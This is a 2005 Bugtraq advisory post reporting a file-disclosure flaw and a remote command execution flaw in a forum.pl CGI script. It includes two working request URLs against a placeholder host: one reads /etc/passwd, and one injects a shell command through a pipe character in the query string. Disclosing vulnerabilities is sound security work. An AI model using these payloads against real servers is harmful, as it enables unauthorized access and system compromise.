[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
remote command execution in forum.pl script
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: remote command execution in forum.pl script
- From: fireboy fireboy <fireboynet@xxxxxxxxxxxx>
- Date: 24 Apr 2005 21:09:50 -0000
Tunis 24/04/2005
BUG found by fireboy
fireboy@xxxxxxxxxxxx
THERE ARE SOME BUGS IN forum.pl SCRIPT THAT CAN SHOW SENSILBLES FILES IN A
SYSTEM
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.
IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE
1)file showing
http://www.target.com/cgi-bin/forum.pl?/etc/passwd
2)remote code execution
http://www.target.com/cgi-bin/forum.pl?|command
greetz to all magattack memebers www.magattack.tk